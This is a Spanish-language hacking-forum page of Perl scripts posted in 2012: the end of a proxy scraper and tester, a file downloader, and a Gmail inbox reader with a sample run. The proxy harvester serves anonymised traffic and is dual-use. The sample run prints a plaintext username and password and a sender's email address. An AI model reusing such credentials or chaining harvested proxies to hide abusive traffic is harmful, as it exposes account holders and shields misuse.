  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12.  
  13. while (1) {
  14.     head();
  15.     print "\n[+] Option : ";
  16.     chomp( my $op = <stdin> );
  17.  
  18.     if ( $op eq "1" ) {
  19.         print "\n\n[+] File : ";
  20.         chomp( my $file = <stdin> );
  21.         if ( -f $file ) {
  22.             print "\n[+] Opening file ...\n\n";
  23.             open( FILE, $file );
  24.             my @words = <FILE>;
  25.             close FILE;
  26.             my @proxies = repes(@words);
  27.             print "[+] Proxies Found : " . int(@proxies) . "\n";
  28.             print "\n[+] Testing ....\n\n";
  29.             my $cont = "0";
  30.  
  31.             for (@proxies) {
  32.                 if ( testnow($_) ) {
  33.                     $cont++;
  34.                     print "\a";    #BEEP
  35.                 }
  36.             }
  37.             print "\n[+] Proxies Found : " . $cont . "\n";
  38.             print "\n\n[+] Finished\n\n";
  39.             <stdin>;
  40.         }
  41.         else {
  42.             print "\n\n[-] File not found\n";
  43.             copyright();
  44.         }
  45.     }
  46.  
  47.     if ( $op eq "2" ) {
  48.         print "\n\n[+] Getting proxies ...\n\n";
  49.  
  50.         my @uno    = getproxys();
  51.         my @dos    = getxroxy();
  52.         my @tres   = proxyip();
  53.         my @cuatro = proxylist();
  54.         my @cinco  = proxies();     #big list
  55.  
  56.         my @total = ( @uno, @dos, @tres, @cuatro, @cinco );
  57.  
  58.         print "[+] Proxies Found : " . int(@total) . "\n";
  59.         print "\n[+] Testing .....\n\n";
  60.  
  61.         my $cont = "0";
  62.         for (@total) {
  63.             if ( testnow($_) ) {
  64.                 $cont++;
  65.                 print "\a";         #BEEP
  66.             }
  67.         }
  68.  
  69.         print "\n[+] Proxies Found : " . $cont . "\n";
  70.         print "\n\n[+] Finished\n\n";
  71.         <stdin>;
  72.     }
  73.  
  74.     if ( $op eq "3" ) {
  75.         copyright();
  76.     }
  77.  
  78. }
  79. copyright();
  80.  
  81. sub testnow {
  82.  
  83.     my $ver = shift;
  84.  
  85.     my $pro;
  86.     my $host;
  87.     my $port;
  88.     my $country;
  89.     my $save;
  90.  
  91.     my $test_proxy = LWP::UserAgent->new();
  92.     $test_proxy->timeout(5);
  93.     $test_proxy->agent(
  94. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  95.     );
  96.  
  97.     if ( $ver =~ /(.*):(.*)/ ) {
  98.         ( $host, $port, $country ) = ( $1, $2, "Unknown" );
  99.         $save = $host . ":" . $port;
  100.     }
  101.  
  102.     if ( $ver =~ /(.*):(.*):(.*)/ ) {
  103.         ( $host, $port, $country ) = ( $1, $2, $3 );
  104.         $save = $host . ":" . $port . ":" . $country;
  105.     }
  106.  
  107.     my $pro = $host . ":" . $port;
  108.  
  109.     $test_proxy->proxy( "http", "http://" . $pro );
  110.     my $code = $test_proxy->get("http://www.whatismyip.com/")->content;
  111.  
  112.     if ( $code =~ /Your IP Address Is/ ) {
  113.         print "[+] IP : $host\n";
  114.         print "[+] Port : $port\n";
  115.         print "[+] Country : $country\n\n";
  116.         savefile( "proxy-founds.txt", $save );
  117.         return true;
  118.     }
  119. }
  120.  
  121. sub getproxys {
  122.  
  123.     my @founds;
  124.     my @volver;
  125.  
  126.     for my $num ( 1 .. 5 ) {
  127.         my $code = toma(
  128. "http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num"
  129.         );
  130.  
  131.         while ( $code =~
  132. /<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig
  133.           )
  134.         {
  135.             my $porcion = $1;
  136.             chomp $porcion;
  137.  
  138.             if ( my @total = $porcion =~ m{<\s*td\s*>\s*(.*?)\s*</\s*td}mig ) {
  139.                 push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] );
  140.             }
  141.         }
  142.     }
  143.  
  144.     my @volver = repes(@founds);
  145.     return @volver;
  146.  
  147. }
  148.  
  149. sub getxroxy {
  150.  
  151.     my @founds_final;
  152.     my @founds;
  153.  
  154.     for my $num ( 0 .. 26 ) {
  155.  
  156.         open( FILE, ">>proxy.txt" );
  157.  
  158.         my $code = toma(
  159. "http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num"
  160.         );
  161.  
  162.         while ( $code =~
  163.             /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)&notes=(.*?)&/sig )
  164.         {
  165.             my ( $ip, $port, $pais ) = ( $1, $2, $3 );
  166.             $port =~ s/&isSocks=true//sig;
  167.             $port =~ s/&socksversion=4a//sig;
  168.             push( @founds, "$ip:$port:$pais" );
  169.             print FILE "$ip:$port\n";
  170.         }
  171.     }
  172.  
  173.     my @founds_final = repes(@founds);
  174.     return @founds_final;
  175.  
  176. }
  177.  
  178. sub proxies {
  179.  
  180.     my @founds_final;
  181.     my @founds;
  182.  
  183.     for my $i ( 1 .. 10 ) {
  184.  
  185.         my $code =
  186.           toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" );
  187.  
  188.         my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
  189.  
  190.         for (@found) {
  191.             push( @founds, "$_:Unknown" );
  192.         }
  193.  
  194.     }
  195.  
  196.     my @founds_final = repes(@founds);
  197.     return @founds_final;
  198.  
  199. }
  200.  
  201. sub proxyip {
  202.  
  203.     my @founds_final;
  204.     my @founds;
  205.  
  206.     my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html");
  207.  
  208.     if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) {
  209.         my $codedos = $1;
  210.  
  211.         while ( $codedos =~
  212. /<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig
  213.           )
  214.         {
  215.             my ( $ip, $pais ) = ( $1, $5 );
  216.             push( @founds, "$ip:$pais" );
  217.         }
  218.     }
  219.  
  220.     my @founds_final = repes(@founds);
  221.     return @founds_final;
  222.  
  223. }
  224.  
  225. sub proxylist {
  226.  
  227.     my @founds_final;
  228.     my @founds;
  229.  
  230.     my $code = toma("http://www.proxylist.net/");
  231.  
  232.     while ( $code =~
  233. /<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig
  234.       )
  235.     {
  236.         my ( $ip, $pais ) = ( $2, $4 );
  237.         push( @founds, "$ip:$pais" );
  238.     }
  239.  
  240.     my @founds_final = repes(@founds);
  241.     return @founds_final;
  242.  
  243. }
  244.  
  245. sub head {
  246.     print qq(
  247.  
  248.  
  249.  @@@@@                        @@@@@                        
  250.  @    @                         @               @          
  251.  @    @                         @               @          
  252.  @    @ @@  @@@  @  @ @  @      @     @@@   @@  @@  @@@  @@
  253.  @@@@@  @  @   @ @  @ @  @      @    @   @ @  @ @  @   @ @ 
  254.  @      @  @   @  @@  @  @      @    @@@@@  @   @  @@@@@ @ 
  255.  @      @  @   @  @@  @  @      @    @       @  @  @     @ 
  256.  @      @  @   @ @  @  @@       @    @   @ @  @ @  @   @ @ 
  257.  @      @   @@@  @  @  @        @     @@@   @@   @  @@@  @ 
  258.                        @                                   
  259.                      @@                                    
  260.  
  261.  
  262. [++] Options 
  263.  
  264. [+] 1 : Load wordlist
  265. [+] 2 : Check Online
  266. [+] 3 : Exit
  267.  
  268. );
  269.  
  270. }
  271.  
  272. sub copyright {
  273.     print "\n\n(C) Doddy Hackman 2012\n\n";
  274.     <stdin>;
  275.     exit(1);
  276. }
  277.  
  278. sub savefile {
  279.     open( SAVE, ">>" . $_[0] );
  280.     print SAVE $_[1] . "\n";
  281.     close SAVE;
  282. }
  283.  
  284. sub repes {
  285.     my @limpio;
  286.     foreach $test (@_) {
  287.         push @limpio, $test unless $repe{$test}++;
  288.     }
  289.     return @limpio;
  290. }
  291.  
  292. sub toma {
  293.     return $nave->get( $_[0] )->content;
  294. }
  295.  
  296. #The End ?
  297.  
337  Programación / Scripting / [Perl Tk] Simple Downloader 0.1 en: 6 Mayo 2012, 02:08 am
Version Tk de un simple programa en Perl para bajar archivos.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Simple downloader 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use Tk::Dialog;
  8. use LWP::UserAgent;
  9. use URI::Split qw(uri_split);
  10.  
  11. my $color_fondo = "black";
  12. my $color_texto = "green";
  13.  
  14. my $nave = LWP::UserAgent->new;
  15. $nave->agent(
  16. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  17. );
  18. $nave->timeout(20);
  19.  
  20. if ( $^O eq 'MSWin32' ) {
  21.     use Win32::Console;
  22.     Win32::Console::Free();
  23. }
  24.  
  25. my $dron =
  26.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  27. $dron->geometry("430x70+20+20");
  28. $dron->resizable( 0, 0 );
  29. $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  30.  
  31. $dron->Label(
  32.     -text       => "URL : ",
  33.     -font       => "Impact",
  34.     -background => $color_fondo,
  35.     -foreground => $color_texto
  36. )->place( -x => 20, -y => 20 );
  37. my $pre = $dron->Entry(
  38.     -width      => 45,
  39.     -background => $color_fondo,
  40.     -foreground => $color_texto
  41. )->place( -x => 60, -y => 27 );
  42. $dron->Button(
  43.     -command          => \&now,
  44.     -text             => "Download",
  45.     -width            => 10,
  46.     -background       => $color_fondo,
  47.     -foreground       => $color_texto,
  48.     -activebackground => $color_texto
  49. )->place( -x => 340, -y => 25 );
  50.  
  51. MainLoop;
  52.  
  53. sub now {
  54.  
  55.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $pre->get );
  56.     $dron->title("Simple Downloader 0.1 || [+] Status : Downloading..");
  57.     if ( $path =~ /(.*)\/(.*)$/ ) {
  58.         my $file = $2;
  59.         if ( download( $pre->get, $file ) ) {
  60.             $dron->Dialog(
  61.                 -title            => "OK",
  62.                 -buttons          => ["OK"],
  63.                 -text             => "File downloaded",
  64.                 -background       => $color_fondo,
  65.                 -foreground       => $color_texto,
  66.                 -activebackground => $color_texto
  67.             )->Show();
  68.         }
  69.         else {
  70.             $dron->Dialog(
  71.                 -title            => "Error",
  72.                 -buttons          => ["OK"],
  73.                 -text             => "Error",
  74.                 -background       => $color_fondo,
  75.                 -foreground       => $color_texto,
  76.                 -activebackground => $color_texto
  77.             )->Show();
  78.         }
  79.     }
  80.     $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  81. }
  82.  
  83. sub download {
  84.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  85.         if ( -f $_[1] ) {
  86.             return true;
  87.         }
  88.     }
  89. }
  90.  
  91. #The End ?
  92.  
  93.  
338  Programación / Scripting / [Perl] Simple Downloader 0.1 en: 6 Mayo 2012, 02:08 am
Un simple script en perl para bajar archivos.

Código
  1. #!usr/bin/perl
  2. #Simple downloader 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use URI::Split qw(uri_split);
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12. $nave->timeout(20);
  13.  
  14. head();
  15. unless ( $ARGV[0] ) {
  16.     sintax();
  17. }
  18. else {
  19.     now( $ARGV[0] );
  20. }
  21. copyright();
  22.  
  23. sub now {
  24.  
  25.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  26.  
  27.     if ( $path =~ /(.*)\/(.*)$/ ) {
  28.         my $file = $2;
  29.         print "\n[+] Downloading ....\n";
  30.         if ( download( $_[0], $file ) ) {
  31.             print "\n[+] File downloaded\n";
  32.         }
  33.         else {
  34.             print "\n[-] Error\n";
  35.         }
  36.     }
  37. }
  38.  
  39. sub sintax {
  40.     print "\n[+] Sintax : $0 <url>\n";
  41. }
  42.  
  43. sub head {
  44.     print "\n-- == Simple Downloader == --\n\n";
  45. }
  46.  
  47. sub copyright {
  48.     print "\n\n(C) Doddy Hackman 2012\n\n";
  49.     exit(1);
  50. }
  51.  
  52. sub download {
  53.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  54.         if ( -f $_[1] ) {
  55.             return true;
  56.         }
  57.     }
  58. }
  59.  
  60. #The End ?
  61.  
  62.  
339  Programación / Scripting / [Perl Tk] Gmail Inbox 0.1 en: 28 Abril 2012, 16:50 pm
Un simple programa en Perl para leer el correo usando Gmail.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Gmail Inbox 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5. #Modules
  6. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  7. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  8. #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm
  9.  
  10. use Tk;
  11. use Tk::HList;
  12. use Tk::ROText;
  13. use GMail::Checker;
  14. use HTML::Strip;
  15.  
  16. if ( $^O eq 'MSWin32' ) {
  17.     use Win32::Console;
  18.     Win32::Console::Free();
  19. }
  20.  
  21. my $yeahfucktk = MainWindow->new();
  22. $yeahfucktk->title(
  23.     "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  24. $yeahfucktk->geometry("870x220+20+20");
  25. $yeahfucktk->resizable( 0, 0 );
  26.  
  27. my $agen = $yeahfucktk->Scrolled( HList,
  28.     -columns    => 4,
  29.     -header     => 1,
  30.     -width      => 80,
  31.     -scrollbars => "se"
  32. )->place( -x => 20, -y => 20 );
  33.  
  34. $agen->headerCreate( 0, -text => "ID" );
  35. $agen->headerCreate( 1, -text => "From" );
  36. $agen->headerCreate( 2, -text => "Subject" );
  37. $agen->headerCreate( 3, -text => "Date" );
  38.  
  39. $agen->bind( "<Double-1>", [ \&yeah ] );
  40.  
  41. $yeahfucktk->Label( -text => "Gmail Login", -font => "Impact" )
  42.   ->place( -x => 650, -y => 20 );
  43. $yeahfucktk->Label( -text => "Username : ", -font => "Impact1" )
  44.   ->place( -x => 565, -y => 68 );
  45. my $username = $yeahfucktk->Entry( -width => 30 )->place( -x => 653, -y => 73 );
  46. $yeahfucktk->Label( -text => "Password : ", -font => "Impact1" )
  47.   ->place( -x => 565, -y => 100 );
  48. my $password =
  49.   $yeahfucktk->Entry( -width => 30, -show => "*" )
  50.   ->place( -x => 653, -y => 103 );
  51. $yeahfucktk->Button(
  52.     -text    => "Messages list",
  53.     -width   => 20,
  54.     -command => \&startnow
  55. )->place( -x => 640, -y => 150 );
  56.  
  57. MainLoop;
  58.  
  59. sub startnow {
  60.     $agen->delete( "all", 0 );
  61.     my $total = total( $username->get, $password->get );
  62.     $yeahfucktk->title(
  63. "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found"
  64.     );
  65.  
  66.     for ( reverse 1 .. $total ) {
  67.         $yeahfucktk->update;
  68.         $yeahfucktk->title(
  69. "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_"
  70.         );
  71.         my ( $from, $asunto, $date ) =
  72.           getdata( $username->get, $password->get, $_ );
  73.  
  74.         $agen->add($_);
  75.         $agen->itemCreate( $_, 0, -text => $_ );
  76.         $agen->itemCreate( $_, 1, -text => $from );
  77.         $agen->itemCreate( $_, 2, -text => $asunto );
  78.         $agen->itemCreate( $_, 3, -text => $date );
  79.  
  80.     }
  81.     $yeahfucktk->title(
  82.         "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  83. }
  84.  
  85. sub total {
  86.     my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  87.     my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
  88.     return $a;
  89. }
  90.  
  91. sub getdata {
  92.  
  93.     my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  94.     my @msg = $mod_msg->get_msg( MSG => $_[2] );
  95.  
  96.     my $mas = $msg[0]->{headers};
  97.  
  98.     if ( $mas =~ /From: (.*)/ig ) {
  99.         $from = $1;
  100.     }
  101.  
  102.     if ( $mas =~ /Subject: (.*)/ig ) {
  103.         $asunto = $1;
  104.     }
  105.  
  106.     if ( $mas =~ /Date: (.*)/ig ) {
  107.         $date = $1;
  108.     }
  109.     return ( $from, $asunto, $date );
  110. }
  111.  
  112. sub yeah {
  113.     my @ar = $agen->selectionGet();
  114.     openmessage( $username->get, $password->get, $ar[0] );
  115. }
  116.  
  117. sub openmessage {
  118.  
  119.     my $cons = MainWindow->new();
  120.     $cons->geometry("500x350+20+20");
  121.     $cons->resizable( 0, 0 );
  122.     $cons->title("Reading message");
  123.  
  124.     my $conso = $cons->Scrolled(
  125.         "ROText",
  126.         -width      => 70,
  127.         -height     => 40,
  128.         -scrollbars => "e"
  129.     )->pack();
  130.  
  131.     my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  132.  
  133.     my @msg = $mod_msg->get_msg( MSG => $_[2] );
  134.  
  135.     $conso->insert( "end", "[+] ID : $_[2]\n" );
  136.  
  137.     my $mas = $msg[0]->{headers};
  138.  
  139.     if ( $mas =~ /From: (.*)/ig ) {
  140.         my $from = $1;
  141.         $conso->insert( "end", "[+] From : $from\n" );
  142.     }
  143.  
  144.     if ( $mas =~ /To: (.*)/ig ) {
  145.         my $to = $1;
  146.         $conso->insert( "end", "[+] To : $to\n" );
  147.     }
  148.  
  149.     if ( $mas =~ /Subject: (.*)/ig ) {
  150.         my $asunto = $1;
  151.         $conso->insert( "end", "[+] Subject : $asunto\n" );
  152.     }
  153.  
  154.     if ( $mas =~ /Date: (.*)/ig ) {
  155.         my $date = $1;
  156.         $conso->insert( "end", "[+] Date : $date\n\n" );
  157.     }
  158.  
  159.     my $text = $msg[0]->{body};
  160.     if ( $text =~
  161.         /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
  162.     {
  163.         my $body = $1;
  164.         $body =~ s/<br>/\n/g;
  165.  
  166.         my $uno = HTML::Strip->new( emit_spaces => 1 );
  167.         my $body = $uno->parse($body);
  168.         $conso->insert( "end", $body );
  169.     }
  170. }
  171.  
  172. #The End ?
  173.  
340  Programación / Scripting / [Perl] Gmail Inbox 0.1 en: 28 Abril 2012, 16:50 pm
Acabo de terminar un simple programa en Perl para poder leer mis mensajes de mi cuenta de correo Gmail , no es nada del otro mundo solo ponen el usuario y la contraseña de la cuenta y el programa carga un menu en el cual pueden listar todos los mensajes o leer un mensaje completo.

El codigo

Código
  1. #!usr/bin/perl
  2. #Gmail Inbox 0.1
  3. #Coded By Doddy H
  4. #Modules
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  7. #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm
  8.  
  9. use GMail::Checker;
  10. use HTML::Strip;
  11.  
  12. head();
  13.  
  14. print "\n\n[+] Username : ";
  15. chomp( my $user = <stdin> );
  16. print "\n[+] Password : ";
  17. chomp( my $pass = <stdin> );
  18.  
  19. while (1) {
  20.     print "\n\n[+] Options\n\n";
  21.     print "[1] : Messages list\n";
  22.     print "[2] : Read Message\n";
  23.     print "[3] : Exit\n\n";
  24.     print "[+] Option : ";
  25.     chomp( my $op = <stdin> );
  26.  
  27.     if ( $op eq "1" ) {
  28.         listar( $user, $pass );
  29.     }
  30.     elsif ( $op eq "2" ) {
  31.         print "\n[+] ID : ";
  32.         chomp( my $id = <stdin> );
  33.         getallmsg( $user, $pass, $id );
  34.     }
  35.     elsif ( $op eq "3" ) {
  36.         copyright();
  37.     }
  38.     else {
  39.         print "\n\n[-] Bad Option\n\n";
  40.     }
  41. }
  42.  
  43. sub listar {
  44.  
  45.     my $total = total( $_[0], $_[1] );
  46.     print "\n[+] Messages found : $total\n\n";
  47.  
  48.     for my $num ( 1 .. $total ) {
  49.         getdata( $_[0], $_[1], $num );
  50.     }
  51. }
  52.  
  53. sub total {
  54.     my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  55.     my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
  56.     return $a;
  57. }
  58.  
  59. sub getdata {
  60.  
  61.     my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  62.  
  63.     my @msg = $mod_msg->get_msg( MSG => $_[2] );
  64.  
  65.     print "\n[+] ID : $_[2]\n\n";
  66.  
  67.     my $mas = $msg[0]->{headers};
  68.  
  69.     if ( $mas =~ /From: (.*)/ig ) {
  70.         my $from = $1;
  71.         print "[+] From : $from\n";
  72.     }
  73.  
  74.     if ( $mas =~ /Subject: (.*)/ig ) {
  75.         my $asunto = $1;
  76.         print "[+] Subject : $asunto\n";
  77.     }
  78.  
  79.     if ( $mas =~ /Date: (.*)/ig ) {
  80.         my $date = $1;
  81.         print "[+] Date : $date\n";
  82.     }
  83.  
  84. }
  85.  
  86. sub getallmsg {
  87.  
  88.     print "\n[+] Reading message\n\n";
  89.  
  90.     my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
  91.  
  92.     my @msg = $mod_msg->get_msg( MSG => $_[2] );
  93.  
  94.     print "[+] ID : $_[2]\n\n";
  95.  
  96.     my $mas = $msg[0]->{headers};
  97.  
  98.     if ( $mas =~ /From: (.*)/ig ) {
  99.         my $from = $1;
  100.         print "[+] From : $from\n";
  101.     }
  102.  
  103.     if ( $mas =~ /To: (.*)/ig ) {
  104.         my $to = $1;
  105.         print "[+] To : $to\n";
  106.     }
  107.  
  108.     if ( $mas =~ /Subject: (.*)/ig ) {
  109.         my $asunto = $1;
  110.         print "[+] Subject : $asunto\n";
  111.     }
  112.  
  113.     if ( $mas =~ /Date: (.*)/ig ) {
  114.         my $date = $1;
  115.         print "[+] Date : $date\n";
  116.     }
  117.  
  118.     my $text = $msg[0]->{body};
  119.     if ( $text =~
  120.         /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
  121.     {
  122.         my $body = $1;
  123.         $body =~ s/<br>/\n/g;
  124.  
  125.         my $uno = HTML::Strip->new( emit_spaces => 1 );
  126.         my $body = $uno->parse($body);
  127.  
  128.         print "\n\n[Body Start]\n\n";
  129.         print $body;
  130.         print "\n\n[Body End]\n\n";
  131.     }
  132. }
  133.  
  134. sub head {
  135.     print qq(
  136.  
  137.   @@@@                 @ @    @        @               
  138.  @    @                  @    @        @               
  139.  @                       @    @        @               
  140.  @       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
  141.  @  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
  142.  @    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@ 
  143.  @    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@ 
  144.  @   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  145.   @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @
  146.  
  147. );
  148. }
  149.  
  150. sub copyright {
  151.     print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
  152.     <stdin>;
  153.     exit(1);
  154. }
  155.  
  156. #The End ?
  157.  
  158.  

Ejemplo de uso

Código:

  @@@@                 @ @    @        @
 @    @                  @    @        @
 @                       @    @        @
 @       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
 @  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
 @    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@
 @    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@
 @   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @



[+] Username : lagartojuancho

[+] Password : juancho123


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option : 1

[+] Messages found : 8


[+] ID : 1

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:55:33 -0300

[+] ID : 2

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:56:59 -0300

[+] ID : 3

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 19:07:20 -0300

[+] ID : 4

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:17 -0300

[+] ID : 5

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:21 -0300

[+] ID : 6

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : ASUNTO
[+] Date : Mon, 23 Apr 2012 19:30:10 -0300

[+] ID : 7

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : ASUNTO FINAL
[+] Date : Tue, 24 Apr 2012 12:39:14 -0300

[+] ID : 8

[+] From : Van Helsing <lepuke@hotmail.com>
[+] Subject : hola
[+] Date : Wed, 25 Apr 2012 14:13:22 -0300


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option :
Páginas: 1 ... 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [34] 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines